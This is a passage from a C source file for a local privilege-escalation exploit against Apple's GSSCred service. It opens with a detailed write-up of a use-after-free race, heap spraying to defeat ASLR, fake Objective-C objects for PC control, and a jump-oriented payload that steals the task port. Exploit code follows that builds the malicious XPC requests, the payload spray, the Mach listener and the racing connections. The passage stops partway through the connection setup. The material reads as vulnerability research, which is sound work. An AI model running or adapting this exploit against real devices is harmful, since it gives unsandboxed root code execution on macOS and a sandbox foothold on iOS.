cred->attributes = attrs; 200 | * out: 201 | * CFRELEASE_NULL(error); 202 | * } 203 | * 204 | * Since we fully control the contents of the XPC request, we can make most deserialization 205 | * commands take a long time to run, which opens a nice wide race window. Here in do_SetAttrs() 206 | * the HeimCredMessageCopyAttributes() function performs deserialization, meaning we have an 207 | * opportunity to change the program state during its execution. 208 | * 209 | * To unexpectedly change the program state while do_SetAttrs() is stalled we will use the 210 | * do_Delete() function. This function is responsible for handling a "delete" command from the 211 | * client. It will delete all credentials matching the deletion query. We can send a "delete" 212 | * request to free the credential pointer held by do_SetAttrs() while the latter is busy 213 | * deserializing. 214 | * 215 | * Using these two functions, the race condition flow goes like this: 216 | * 217 | * 1. Create the credential we'll use for the UAF by sending a "create" request. 218 | * 219 | * 2. Send a "setattributes" request for the target credential with an attributes dictionary that 220 | * will take a long time to deserialize. A pointer to the credential will be saved on the stack 221 | * (or in a register) while HeimCredMessageCopyAttributes() is deserializing, allocating 222 | * objects in a tight loop. 223 | * 224 | * 3. While do_SetAttrs() is still in the allocation loop, send a "delete" request on a second 225 | * connection to delete the target credential. This second connection's event handler will run 226 | * on another thread and free the credential. The freed credential object will be added to the 227 | * heap freelist. 228 | * 229 | * 4. If we're lucky, back in the first connection's thread, the freed credential object will be 230 | * reallocated by HeimCredMessageCopyAttributes() to store deserialized data from the 231 | * attributes dictionary, giving us control over some of the fields of the freed credential. 232 | * 233 | * 5. Eventually HeimCredMessageCopyAttributes() finishes and do_SetAttrs() resumes, not knowing 234 | * that the contents of the credential pointer it stored have been changed. It passes the 235 | * corrupted credential to handleDefaultCredentialUpdate() and all hell breaks loose. 236 | * 237 | * 238 | * Corrupting the HeimCred 239 | * ----------------------- 240 | * 241 | * Now it's worth talking about how exactly we're going to overwrite the HeimCred object. Here's 242 | * the structure definition: 243 | * 244 | * struct HeimCred_s { 245 | * CFRuntimeBase runtime; // 00: 0x10 bytes 246 | * CFUUIDRef uuid; // 10: 8 bytes 247 | * CFDictionaryRef attributes; // 18: 8 bytes 248 | * HeimMech * mech; // 20: 8 bytes 249 | * }; // Total: 0x28 bytes 250 | * 251 | * Since the full structure is 0x28 bytes, it will be allocated from and freed to the 0x30 252 | * freelist, which is used for heap objects between 0x20 and 0x30 bytes in size. This means that 253 | * whatever deserialization is happening in HeimCredMessageCopyAttributes(), we'll need to ensure 254 | * that it allocates from the 0x30 freelist in a tight loop, allowing the freed HeimCred to be 255 | * reused. 256 | * 257 | * However, we can't pass just anything to HeimCredMessageCopyAttributes(): we also need the 258 | * deserialized dictionary to pass the call to validateObject() later on. Otherwise, even if we 259 | * manage to corrupt the HeimCred object, it won't be used afterwards, rendering our exploit 260 | * pointless. 261 | * 262 | * It turns out the only way we can both allocate objects in an unbounded loop and pass the 263 | * validateObject() check is by supplying an attributes dictionary containing an array of strings 264 | * under the "kHEIMAttrBundleIdentifierACL" key. All other collections of objects will be rejected 265 | * by validateObject(). Thus, the only objects we can allocate in a loop are OS_xpc_string, the 266 | * object type for an XPC string, and CFString, the CoreFoundation string type. 267 | * 268 | * (This isn't quite true: we could, for example, play tricks with a serialized XPC dictionary 269 | * with colliding keys such that some objects we allocate don't end up in the final collection. 270 | * However, I tried to limit myself to the official XPC API and legal XPC objects. If you remove 271 | * this restriction, you can probably significantly improve the exploit. :) ) 272 | * 273 | * Fortunately for us, both OS_xpc_string and CFString (for certain string lengths) are also 274 | * allocated out of the 0x30 freelist. It's possible to target either data structure for the 275 | * exploit, but I eventually settled on CFString because it seems easier to win the corresponding 276 | * race window. 277 | * 278 | * Immutable CFString objects are allocated with their character data inline. This is what the 279 | * structure looks like for short strings: 280 | * 281 | * struct CFString { 282 | * CFRuntimeBase runtime; // 00: 0x10 bytes 283 | * uint8_t length; // 10: 1 byte 284 | * char characters[1]; // 11: variable size 285 | * }; 286 | * 287 | * Thus, if we use strings between 0x10 and 0x1f bytes long (including the null terminator), the 288 | * CFString objects will be allocated out of the 0x30 freelist, potentially allowing us to control 289 | * some fields of the freed HeimCred object. 290 | * 291 | * For the use-after-free to be exploitable we want the part of the CFString that we control to 292 | * overlap the fields of HeimCred, such that creating the CFString will corrupt the HeimCred 293 | * object in an interesting way. Looking back to the definition of the HeimCred structure, we can 294 | * see that the "uuid", "attributes", and "mech" fields are all possibly controllable. 295 | * 296 | * However, all three of these fields are pointers, and userspace pointers on iOS usually contain 297 | * null bytes. Our CFString will end at the first null byte, so in order to remain in the 0x30 298 | * freelist the first null byte must occur at or after offset 0x20. This means the "uuid" and 299 | * "attributes" fields will have to be null-free, making them less promising exploit targets. 300 | * Hence "mech" is the natural choice. We will try to get the corrupted HeimCred's "mech" field to 301 | * point to memory whose contents we control. 302 | * 303 | * 304 | * Pointing to controlled data 305 | * --------------------------- 306 | * 307 | * Where exactly will we make "mech" point? 308 | * 309 | * We want "mech" to point to memory we control, but due to ASLR we don't know any addresses in 310 | * the GSSCred process. The traditional way to bypass ASLR when we don't know where our 311 | * allocations will be placed is using a heap spray. However, this presents two problems. First, 312 | * performing a traditional heap spray over XPC would be quite slow, since the kernel would need 313 | * to copy a huge amount of data from our address space into GSSCred's address space. Second, on 314 | * iOS the GSSCred process has a strict memory limit of around 6 megabytes, after which it is at 315 | * risk of being killed by Jetsam. 6 megabytes is nowhere near enough to perform an effective heap 316 | * spray, especially since our serialized attributes dictionary will already be allocating 317 | * thousands of strings to enlarge our race window. 318 | * 319 | * Fortunately for us, libxpc contains an optimization that solves both problems: if we're sending 320 | * an XPC data object larger than 0x4000 bytes, libxpc will instead create a Mach memory entry 321 | * representing the data and send that to the target instead. Then, when the message is 322 | * deserialized in the recipient, libxpc will map the memory entry directly into the recipient's 323 | * address space by calling mach_vm_map(). The result is a fast, copy-free duplication of our 324 | * memory in the recipient process's address space. And because the physical pages are shared, 325 | * they don't count against GSSCred's memory limit. (See [1] for Ian Beer's triple_fetch exploit, 326 | * which is where I learned of this technique and where I derived some of the initial parameters 327 | * used here.) 328 | * 329 | * Since libxpc calls mach_vm_map() with the VM_FLAGS_ANYWHERE flag, the kernel will choose the 330 | * address of the mapping. Presumably to minimize address space fragmentation, the kernel will 331 | * typically choose an address close to the program base. The program base is usually located at 332 | * an address like 0x000000010c65d000: somewhere above but close to 4GB (0x100000000), with the 333 | * exact address randomized by ASLR. The kernel might then place large VM_ALLOCATE objects at an 334 | * address like 0x0000000116097000: after the program, but still fairly close to 0x100000000. By 335 | * comparison, the MALLOC_TINY heap (which is where all of our objects will live) might start at 336 | * 0x00007fb6f0400000 on macOS and 0x0000000107100000 on iOS. 337 | * 338 | * Using a memory entry heap spray, we can fill a gigabyte or more of GSSCred's virtual memory 339 | * space with controlled data. (Choosing the exact parameters was a frustrating exercise in 340 | * guess-and-check, because for unknown reasons certain configurations of the heap spray work well 341 | * and others do not.) Because the sprayed data will follow closely behind the program base, 342 | * there's a good chance that addresses close to 0x0000000120000000 will contain our sprayed data. 343 | * 344 | * This means we'll want our corrupted "mech" field to contain a pointer like 0x0000000120000000. 345 | * Once again, we need to address problems with null bytes. 346 | * 347 | * Recall that the "mech" field is actually part of a CFString object that overwrites the freed 348 | * HeimCred pointer. Thus, the first null byte will terminate the string and all bytes after that 349 | * will retain whatever value they originally had in the HeimCred object. 350 | * 351 | * Fortunately, because current macOS and iOS platforms are all little-endian, the pointer is laid 352 | * out least significant byte to most significant byte. If instead we use an address like 353 | * 0x0000000120202020 (with all the null bytes at the start) for our controlled data, then the 354 | * lower 5 bytes of the address will be copied into the "mech" field, and the null terminator will 355 | * zero out the 6th. This leaves just the 2 high bytes of the "mech" field with whatever value 356 | * they had originally. 357 | * 358 | * However, we know that the "mech" field was originally a heap pointer into the MALLOC_TINY heap, 359 | * and MALLOC_TINY pointers on both macOS and iOS start with 2 zero bytes. Thus, even though we 360 | * can only write to the lower 6 bytes, we know that the upper 2 bytes will always have the value 361 | * we want. 362 | * 363 | * This means we have a way to get controlled data at a known address in the GSSCred process and 364 | * can make the "mech" field point to that data. Getting control of PC is simply a matter of 365 | * choosing the right data. 366 | * 367 | * 368 | * Controlling PC 369 | * -------------- 370 | * 371 | * We fully control the data pointed to by the "mech" field, so we can construct a fake HeimMech 372 | * object. Here's the HeimMech structure: 373 | * 374 | * struct HeimMech { 375 | * CFRuntimeBase runtime; // 00: 0x10 bytes 376 | * CFStringRef name; // 10: 8 bytes 377 | * HeimCredStatusCallback statusCallback; // 18: 8 bytes 378 | * HeimCredAuthCallback authCallback; // 20: 8 bytes 379 | * }; 380 | * 381 | * All of these fields are attractive targets. Controlling the isa pointer of an Objective-C class 382 | * allows us to gain code execution if an Objective-C message is sent to the object (see Phrack, 383 | * "Modern Objective-C Exploitation Techniques" [2]). And the last 2 fields are pointers to 384 | * callback functions, which is an even easier route to PC control (if we can get them called). 385 | * 386 | * To determine which field or fields are of interest, we need to look at how the corrupted 387 | * HeimCred is used. The first time it is used after the call to HeimCredMessageCopyAttributes() 388 | * is when it is passed as a parameter to handleDefaultCredentialUpdate(). 389 | * 390 | * Here's the source code of handleDefaultCredentialUpdate(), with some irrelevant code removed: 391 | * 392 | * static void 393 | * handleDefaultCredentialUpdate(struct HeimSession *session, 394 | * HeimCredRef cred, CFDictionaryRef attrs) 395 | * { 396 | * heim_assert(cred->mech != NULL, "mech is NULL, " // (e) mech must not be 397 | * "schame validation doesn't work ?"); // NULL. 398 | * 399 | * CFUUIDRef oldDefault = CFDictionaryGetValue( // (f) Corrupted name 400 | * session->defaultCredentials, // pointer passed to 401 | * cred->mech->name); // CF function. 402 | * 403 | * CFBooleanRef defaultCredential = CFDictionaryGetValue( 404 | * attrs, kHEIMAttrDefaultCredential); 405 | * ... 406 | * 407 | * CFDictionarySetValue(session->defaultCredentials, 408 | * cred->mech->name, cred->uuid); 409 | * 410 | * notifyChangedCaches(); 411 | * } 412 | * 413 | * Since we will make the corrupted HeimCred's "mech" field point to our heap spray data, it will 414 | * never be NULL, so the assertion will pass. Next, the "mech" field will be dereferenced to read 415 | * the "name" pointer, which is passed to CFDictionaryGetValue(). This is perfect: we can make our 416 | * fake HeimMech's "name" pointer also point into the heap spray data. We will construct a fake 417 | * Objective-C object such that when CFDictionaryGetValue() sends a message to it we end up with 418 | * PC control. 419 | * 420 | * As it turns out, CFDictionaryGetValue() will send an Objective-C message with the "hash" 421 | * selector to its second argument. We can construct our fake "name" object so that its isa 422 | * pointer indicates that it responds to the "hash" selector with an Objective-C method whose 423 | * implementation pointer contains the PC value we want. For more complete details, refer to [2]. 424 | * 425 | * So, in summary, we can corrupt the HeimCred object such that its "mech" pointer points to a 426 | * fake HeimMech object, and the HeimMech's "name" field points to a fake Objective-C object whose 427 | * contents we fully control. The "name" pointer will be passed to CFDictionaryGetValue(), which 428 | * will invoke objc_msgSend() on the "name" pointer for the "hash" selector. The "name" object's 429 | * isa pointer will point to an objc_class object that indicates that "name" responds to the 430 | * "hash" selector with a particular method implementation. When objc_msgSend() invokes that 431 | * method, we get PC control, with the "name" pointer as the first argument. 432 | * 433 | * 434 | * Getting GSSCred's task port 435 | * --------------------------- 436 | * 437 | * Controlling PC alone is not enough. We also need to construct a payload to execute in the 438 | * context of the GSSCred process that will accomplish useful work. In our case, we will try to 439 | * make GSSCred give us a send right to its task port, allowing us to manipulate the process 440 | * without having to re-exploit the race condition each time. Here we will describe the ARM64 441 | * payload. 442 | * 443 | * When we get PC control, the X0 register will point to the fake "name" object. The "name" 444 | * object's isa pointer is already determined by the part of the payload that gets PC control, but 445 | * everything after the first 8 bytes can be used by the ARM64 payload. 446 | * 447 | * My preferred technique for writing a payload when I can't inject code is to use jump-oriented 448 | * programming, or JOP. I used this vulnerability as an opportunity to practice writing more 449 | * complex JOP programs, and in particular to practice using loops and conditionals. I make no 450 | * claim that the strategy outlined here is the cleanest, best, or most efficient design. 451 | * 452 | * Borrowing a technique from triple_fetch [1], I wanted to have the exploit payload send a Mach 453 | * message containing GSSCred's task port from GSSCred back to our process. The challenge is that 454 | * we don't know what port to send this message to, such that we can receive the message back in 455 | * our process. We could create a Mach port in our process to which we have the receive right, 456 | * then send the corresponding send right over to GSSCred, but we don't know what port name the 457 | * kernel will assign that send right over in GSSCred. 458 | * 459 | * The triple_fetch exploit gets around this limitation by sending a message with thousands of 460 | * Mach send rights, spraying the target's Mach port namespace so that with high probability one 461 | * of the hardcoded Mach port names used in the payload will be a send right back to the 462 | * exploiting process. 463 | * 464 | * I decided to try the inverse: send a single Mach send right to GSSCred, then have the exploit 465 | * payload try to send the Mach message to thousands of different Mach port names, hopefully 466 | * hitting the one corresponding to the send right back to our process. One prominent advantage of 467 | * this design is that it can take up significantly less space (we no longer need a massive Mach 468 | * port spray, and the ARM64-specific part of the payload could easily be packed down to 400 469 | * bytes). 470 | * 471 | * The other strategy I was contemplating was to try and deduce the Mach send right name directly, 472 | * either by working backwards from the current register values or stack contents or by scanning 473 | * memory. However, this seemed more complicated and more fragile than simply spraying Mach 474 | * messages to every possible port name. 475 | * 476 | * Once GSSCred sends all the Mach messages, we need to finish in a way that doesn't cause GSSCred 477 | * to crash. Since it seemed difficult to repair the corruption and resume executing from where 478 | * we hijacked control, the exploit payload simply enters an infinite loop. This means that 479 | * GSSCred will never reply to the "setattributes" request that caused the exploit payload to be 480 | * executed. 481 | * 482 | * Back in our process, we can listen on the receiving end of the Mach port we sent to GSSCred for 483 | * a message. If a message is received, that means we won the race and the exploit succeeded. 484 | * 485 | * 486 | * Gained access 487 | * ------------- 488 | * 489 | * On macOS, GSSCred runs outside of any sandbox, meaning once we get the task port we have 490 | * unsandboxed arbitrary code execution as root. 491 | * 492 | * On iOS the story is a bit different. The GSSCred process enters the com.apple.GSSCred sandbox 493 | * immediately on startup, which restricts it from doing most interesting things. The kernel 494 | * attack surface from within the GSSCred sandbox does not appear significantly wider than from 495 | * within the container sandbox. Thus, GSSCred may be a stepping-stone on a longer journey to 496 | * unsandboxed code execution. 497 | * 498 | * 499 | * References 500 | * ------------------------------------------------------------------------------------------------ 501 | * 502 | * [1]: https://bugs.chromium.org/p/project-zero/issues/detail?id=1247 503 | * [2]: http://phrack.org/issues/69/9.html 504 | * 505 | */ 506 | 507 | #include "gsscred_race.h" 508 | 509 | #include "apple_private.h" 510 | #include "log.h" 511 | #include "payload.h" 512 | 513 | #include 514 | #include 515 | #include 516 | #include 517 | #include 518 | 519 | // ---- Some definitions from Heimdal-520 --------------------------------------------------------- 520 | 521 | static const char *kHEIMObjectType = "kHEIMObjectType"; 522 | static const char *kHEIMObjectKerberos = "kHEIMObjectKerberos"; 523 | static const char *kHEIMAttrType = "kHEIMAttrType"; 524 | static const char *kHEIMTypeKerberos = "kHEIMTypeKerberos"; 525 | static const char *kHEIMAttrUUID = "kHEIMAttrUUID"; 526 | static const char *kHEIMAttrBundleIdentifierACL = "kHEIMAttrBundleIdentifierACL"; 527 | 528 | // ---- Exploit parameters ------------------------------------------------------------------------ 529 | 530 | static const char *GSSCRED_SERVICE_NAME = "com.apple.GSSCred"; 531 | 532 | static const size_t UAF_STRING_COUNT = 10000; 533 | 534 | static const unsigned POST_CREATE_CREDENTIAL_DELAY = 10000; // 10 ms 535 | static const unsigned RETRY_RACE_DELAY = 50000; // 50 ms 536 | 537 | static const unsigned INITIAL_SETATTRIBUTES_TO_DELETE_DELAY_US = 0; 538 | static const unsigned SETATTRIBUTES_TO_DELETE_DELAY_INCREMENT_US = 200; 539 | 540 | static const size_t MAX_TRIES_TO_WIN_THE_RACE = 300; 541 | static const size_t MAX_TRIES_TO_GET_TASK_PORT = 16; 542 | 543 | // ---- Parameters for building the controlled page ----------------------------------------------- 544 | 545 | // These parameters were largely determined through trial and error. We want to send enough data to 546 | // the target process that GSSCRED_RACE_PAYLOAD_ADDRESS is mapped with the contents of the payload. 547 | static const size_t PAYLOAD_COUNT_PER_BLOCK = 0x10; 548 | static const size_t PAYLOAD_BLOCKS_PER_MAPPING = 0x100; 549 | static const size_t PAYLOAD_MAPPING_COUNT = 10; 550 | 551 | // ---- Exploit implementation -------------------------------------------------------------------- 552 | 553 | // State for managing the GSSCred race. 554 | struct gsscred_race_state { 555 | // The create request, which will create the credential. 556 | xpc_object_t create_request; 557 | // The setattributes request, which will trigger the UAF. 558 | xpc_object_t setattributes_request; 559 | // The delete request, which will delete the credential. 560 | xpc_object_t delete_request; 561 | // A semaphore that will be signalled when we receive the setattributes reply. 562 | dispatch_semaphore_t setattributes_reply_done; 563 | // A Mach port that will receive the task port from GSSCred when the exploit payload runs 564 | // in GSSCred's address space. 565 | mach_port_t listener_port; 566 | // The connection on which we will send the setattributes request. 567 | xpc_connection_t setattributes_connection; 568 | // The connection on which we will send the delete request. 569 | xpc_connection_t delete_connection; 570 | // Whether either connection has been interrupted, indicating a crash. 571 | bool connection_interrupted; 572 | // The current delay between sending the setattributes request and sending the delete 573 | // request. 574 | unsigned setattributes_to_delete_delay; 575 | // GSSCred's task port. 576 | mach_port_t gsscred_task_port; 577 | // A thread port for a thread in GSSCred's task. 578 | mach_port_t gsscred_thread_port; 579 | }; 580 | 581 | // Prototypes. 582 | static void gsscred_race_crash(struct gsscred_race_state *state); 583 | 584 | // Generate a large mapping consisting of many copies of the given data. Note that changes to the 585 | // beginning of the mapping will be reflected to other parts of the mapping, but possibly only if 586 | // the other parts of the mapping are not accessed directly. 587 | static void * 588 | map_replicate(const void *data, size_t data_size, size_t count) { 589 | // Generate the large mapping. 590 | size_t mapping_size = data_size * count; 591 | mach_vm_address_t mapping; 592 | kern_return_t kr = mach_vm_allocate(mach_task_self(), &mapping, mapping_size, 593 | VM_FLAGS_ANYWHERE); 594 | if (kr != KERN_SUCCESS) { 595 | ERROR("%s(%zx): %x", "mach_vm_allocate", mapping_size, kr); 596 | goto fail_0; 597 | } 598 | // Re-allocate the first segment of this mapping for the master slice. Not sure if this is 599 | // necessary. 600 | kr = mach_vm_allocate(mach_task_self(), &mapping, data_size, 601 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE); 602 | if (kr != KERN_SUCCESS) { 603 | ERROR("%s(%zx, %s): %x", "mach_vm_allocate", data_size, 604 | "VM_FLAGS_OVERWRITE", kr); 605 | goto fail_1; 606 | } 607 | // Copy in the data into the master slice. 608 | memcpy((void *)mapping, data, data_size); 609 | // Now re-map the master slice onto the other slices. 610 | for (size_t i = 1; i < count; i++) { 611 | mach_vm_address_t remap_address = mapping + i * data_size; 612 | vm_prot_t current_protection, max_protection; 613 | kr = mach_vm_remap(mach_task_self(), 614 | &remap_address, 615 | data_size, 616 | 0, 617 | VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, 618 | mach_task_self(), 619 | mapping, 620 | FALSE, 621 | ¤t_protection, 622 | &max_protection, 623 | VM_INHERIT_NONE); 624 | if (kr != KERN_SUCCESS) { 625 | ERROR("%s(%s): %x", "mach_vm_remap", "VM_FLAGS_OVERWRITE", kr); 626 | goto fail_1; 627 | } 628 | } 629 | // All set! We should have one big memory object now. 630 | return (void *)mapping; 631 | fail_1: 632 | mach_vm_deallocate(mach_task_self(), mapping, mapping_size); 633 | fail_0: 634 | return NULL; 635 | } 636 | 637 | // Build the XPC spray data object that will (hopefully) get controlled data allocated at a fixed 638 | // address in GSSCred. 639 | static xpc_object_t 640 | gsscred_race_build_payload_spray(const void *payload) { 641 | // Repeat the payload several times to create a bigger payload block. This helps with the 642 | // remapping process. 643 | size_t block_size = GSSCRED_RACE_PAYLOAD_SIZE * PAYLOAD_COUNT_PER_BLOCK; 644 | uint8_t *payload_block = malloc(block_size); 645 | assert(payload_block != NULL); 646 | for (size_t i = 0; i < PAYLOAD_COUNT_PER_BLOCK; i++) { 647 | memcpy(payload_block + i * GSSCRED_RACE_PAYLOAD_SIZE, payload, 648 | GSSCRED_RACE_PAYLOAD_SIZE); 649 | } 650 | // Now create an even larger copy of that payload block by remapping it several times 651 | // consecutively. This object will take up the same amount of memory as the single payload 652 | // block, despite covering a large virtual address range. 653 | size_t map_size = block_size * PAYLOAD_BLOCKS_PER_MAPPING; 654 | void *payload_map = map_replicate(payload_block, block_size, PAYLOAD_BLOCKS_PER_MAPPING); 655 | assert(payload_map != NULL); 656 | free(payload_block); 657 | // Wrap the payload mapping in a dispatch_data_t so that it isn't copied, then wrap that in 658 | // an XPC data object. We leverage the internal DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE data 659 | // destructor so that dispatch_data_make_memory_entry() doesn't try to remap the data 660 | // (which would cause us to be killed by Jetsam). 661 | dispatch_data_t dispatch_data = dispatch_data_create(payload_map, map_size, 662 | NULL, DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE); 663 | assert(dispatch_data != NULL); 664 | xpc_object_t xpc_data = xpc_data_create_with_dispatch_data(dispatch_data); 665 | dispatch_release(dispatch_data); 666 | assert(xpc_data != NULL); 667 | return xpc_data; 668 | } 669 | 670 | // Create a Mach port that will receive a message sent by our exploit payload from GSSCred's 671 | // process. Destroy the listener port with mach_port_destroy(). 672 | static void 673 | gsscred_race_create_listener_port(struct gsscred_race_state *state) { 674 | mach_port_t port = MACH_PORT_NULL; 675 | kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 676 | assert(kr == KERN_SUCCESS); 677 | kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 678 | assert(kr == KERN_SUCCESS); 679 | state->listener_port = port; 680 | } 681 | 682 | // Build the request objects for the GSSCred race. We do this all upfront. 683 | static void 684 | gsscred_race_build_requests(struct gsscred_race_state *state, 685 | const char *uaf_string, const void *payload) { 686 | uuid_t uuid = { 0xab }; 687 | // Build the create request for the credential: 688 | // { 689 | // "command": "create", 690 | // "attributes": { 691 | // "kHEIMObjectType": "kHEIMObjectKerberos", 692 | // "kHEIMAttrType": "kHEIMTypeKerberos", 693 | // "kHEIMAttrUUID": ab, 694 | // }, 695 | // } 696 | xpc_object_t create_attributes = xpc_dictionary_create(NULL, NULL, 0); 697 | xpc_object_t create_request = xpc_dictionary_create(NULL, NULL, 0); 698 | xpc_dictionary_set_string(create_attributes, kHEIMObjectType, kHEIMObjectKerberos); 699 | xpc_dictionary_set_string(create_attributes, kHEIMAttrType, kHEIMTypeKerberos); 700 | xpc_dictionary_set_uuid( create_attributes, kHEIMAttrUUID, uuid); 701 | xpc_dictionary_set_string(create_request, "command", "create"); 702 | xpc_dictionary_set_value( create_request, "attributes", create_attributes); 703 | xpc_release(create_attributes); 704 | state->create_request = create_request; 705 | // Generate the XPC data object that we will spray into GSSCred to map 706 | // GSSCRED_RACE_PAYLOAD_ADDRESS with our exploit payload. 707 | xpc_object_t payload_spray = gsscred_race_build_payload_spray(payload); 708 | // Build the setattributes request for the target credential: 709 | // { 710 | // "command": "setattributes", 711 | // "uuid": ab, 712 | // "attributes": { 713 | // "kHEIMAttrBundleIdentifierACL": [ 714 | // "AAAA...", 715 | // "AAAA...", 716 | // ..., 717 | // ], 718 | // }, 719 | // "mach_send": , 720 | // "data_0": , 721 | // "data_1": , 722 | // ..., 723 | // } 724 | xpc_object_t new_acl = xpc_array_create(NULL, 0); 725 | xpc_object_t new_attributes = xpc_dictionary_create(NULL, NULL, 0); 726 | xpc_object_t setattributes_request = xpc_dictionary_create(NULL, NULL, 0); 727 | for (size_t i = 0; i < UAF_STRING_COUNT; i++) { 728 | xpc_array_set_string(new_acl, XPC_ARRAY_APPEND, uaf_string); 729 | } 730 | xpc_dictionary_set_value(new_attributes, kHEIMAttrBundleIdentifierACL, new_acl); 731 | for (size_t i = 0; i < PAYLOAD_MAPPING_COUNT; i++) { 732 | char key[20]; 733 | snprintf(key, sizeof(key), "data_%zu", i); 734 | xpc_dictionary_set_value(setattributes_request, key, payload_spray); 735 | } 736 | xpc_dictionary_set_mach_send(setattributes_request, "mach_send", state->listener_port); 737 | xpc_dictionary_set_string( setattributes_request, "command", "setattributes"); 738 | xpc_dictionary_set_uuid( setattributes_request, "uuid", uuid); 739 | xpc_dictionary_set_value( setattributes_request, "attributes", new_attributes); 740 | xpc_release(new_acl); 741 | xpc_release(new_attributes); 742 | xpc_release(payload_spray); 743 | state->setattributes_request = setattributes_request; 744 | // Build the delete request for the credential. 745 | // { 746 | // "command": "delete", 747 | // "query": { 748 | // "kHEIMAttrType": "kHEIMTypeKerberos", 749 | // "kHEIMAttrUUID": ab, 750 | // }, 751 | // } 752 | xpc_object_t delete_query = xpc_dictionary_create(NULL, NULL, 0); 753 | xpc_object_t delete_request = xpc_dictionary_create(NULL, NULL, 0); 754 | xpc_dictionary_set_string(delete_query, kHEIMAttrType, kHEIMTypeKerberos); 755 | xpc_dictionary_set_uuid( delete_query, kHEIMAttrUUID, uuid); 756 | xpc_dictionary_set_string(delete_request, "command", "delete"); 757 | xpc_dictionary_set_value( delete_request, "query", delete_query); 758 | xpc_release(delete_query); 759 | state->delete_request = delete_request; 760 | } 761 | 762 | // Start a thread to listen for the message sent by the exploit payload running in GSSCred. 763 | static void 764 | gsscred_race_start_port_listener(struct gsscred_race_state *state) { 765 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ 766 | // We want to wait for either of two events to occur: either we will receive a Mach 767 | // message from our exploit payload running inside of GSSCred, or we will never win 768 | // the race and gsscred_race_deinit() will be called. The latter destroys the Mach 769 | // port on which we're listening, so that's sufficient. 770 | struct { 771 | mach_msg_header_t hdr; 772 | mach_msg_trailer_t trailer; 773 | } msg; 774 | // Loop until we get the task port. 775 | for (;;) { 776 | // Listen for a Mach message on the listener port. 777 | kern_return_t kr = mach_msg(&msg.hdr, 778 | MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE, 779 | 0, 780 | sizeof(msg), 781 | state->listener_port, 782 | 0, 783 | MACH_PORT_NULL); 784 | if (kr != KERN_SUCCESS) { 785 | // We are probably shutting down in gsscred_race_deinit(). Exit 786 | // this thread immediately, without touching state. 787 | ERROR("Receiving on Mach port listener returned %x", kr); 788 | return; 789 | } 790 | // Let the payload-specific message processor handle the message. 791 | mach_port_t gsscred_task, gsscred_thread; 792 | enum process_exploit_message_result result = 793 | gsscred_race_process_exploit_message(&msg.hdr, 794 | &gsscred_task, &gsscred_thread); 795 | if (result == PROCESS_EXPLOIT_MESSAGE_RESULT_CONTINUE) { 796 | continue; 797 | } else if (result == PROCESS_EXPLOIT_MESSAGE_RESULT_KILL_AND_RETRY) { 798 | WARNING("GSSCred is stuck in a bad state; " 799 | "trying to induce a crash"); 800 | gsscred_race_crash(state); 801 | continue; 802 | } 803 | assert(result == PROCESS_EXPLOIT_MESSAGE_RESULT_SUCCESS); 804 | // Everything looks good! Save the task port, cancel the connection, and 805 | // exit. Cancelling the connection will cause the setattributes reply 806 | // handler in gsscred_race_setattributes_async() to be invoked with 807 | // XPC_ERROR_CONNECTION_INVALID if it hasn't fired already. 808 | DEBUG_TRACE(1, "Got GSSCred task port: %x", gsscred_task); 809 | state->gsscred_task_port = gsscred_task; 810 | state->gsscred_thread_port = gsscred_thread; 811 | xpc_connection_cancel(state->setattributes_connection); 812 | return; 813 | } 814 | }); 815 | } 816 | 817 | // Initialize the state for exploiting the GSSCred race condition. 818 | static bool 819 | gsscred_race_init(struct gsscred_race_state *state) { 820 | bzero(state, sizeof(*state)); 821 | // Generate the UAF string and the exploit payload. The UAF string is the string that will 822 | // be deserialized repeatedly in the hope that it overwrites the freed HeimCred, causing 823 | // various object accesses to redirect to our exploit payload and eventually triggering 824 | // controlled execution from the payload. 825 | char uaf_string[GSSCRED_RACE_UAF_STRING_SIZE]; 826 | uint8_t payload[GSSCRED_RACE_PAYLOAD_SIZE]; 827 | bool success = gsscred_race_build_exploit_payload(uaf_string, payload); 828 | if (!success) { 829 | return false; 830 | } 831 | // Initialize the race state. 832 | gsscred_race_create_listener_port(state); 833 | gsscred_race_build_requests(state, uaf_string, payload); 834 | state->setattributes_reply_done = dispatch_semaphore_create(0); 835 | gsscred_race_start_port_listener(state); 836 | return true; 837 | } 838 | 839 | // Clean up all resources used by the GSSCred race state. 840 | static void 841 | gsscred_race_deinit(struct gsscred_race_state *state) { 842 | xpc_release(state->create_request); 843 | xpc_release(state->setattributes_request); 844 | xpc_release(state->delete_request); 845 | mach_port_destroy(mach_task_self(), state->listener_port); 846 | dispatch_release(state->setattributes_reply_done); 847 | } 848 | 849 | // Generate a connection to GSSCred with the specified event handler. 850 | static xpc_connection_t 851 | gsscred_xpc_connect(xpc_handler_t handler) { 852 | xpc_connection_t connection 853 | = xpc_connection_create_mach_service(GSSCRED_SERVICE_NAME, NULL, 0); 854 | assert(connection != NULL); 855 | xpc_connection_set_event_handler(connection, handler); 856 | xpc_connection_activate(connection); 857 | return connection; 858 | } 859 | 860 | // Check whether the given event indicates that the connection was interrupted, and if so, set the 861 | // interrupted flag. 862 | static void 863 | gsscred_race_check_interrupted(struct gsscred_race_state *state, xpc_object_t event) { 864 | if (event == XPC_ERROR_CONNECTION_INTERRUPTED) { 865 | state->connection_interrupted = true; 866 | } 867 | } 868 | 869 | // Create all the GSSCred connections. 870 | static void 871 | gsscred_race_open_connections(struct gsscred_race_state *state) { 872 | // Create the connection on which we will send the setattributes message. 873 | state->setattributes_connection = gsscred_xpc_connect(^(xpc_object_t event) { 874 | gsscred_race_check_interrupted(state, event); 875 | #if DEBUG_LEVEL(3) 876 | char *desc = xpc_copy_description(event); 877 | DEBUG_TRACE(3, "setattributes connection event: %s", desc); 878 | free(desc); 879 | #endif 880 | }); 881 | // Create the connection on which we will send the delete message. 882 | state->delete_connection = gsscred_xpc_connect(^(xpc_object_t event) { 883 | gsscred_race_check_interrupted(state, event); 884 | #if DEBUG_LEVEL(3) 885 | char *desc = xpc_copy_description(event); 886 | DEBUG_TRACE(3, "delete connection event: %s", desc); 887 | 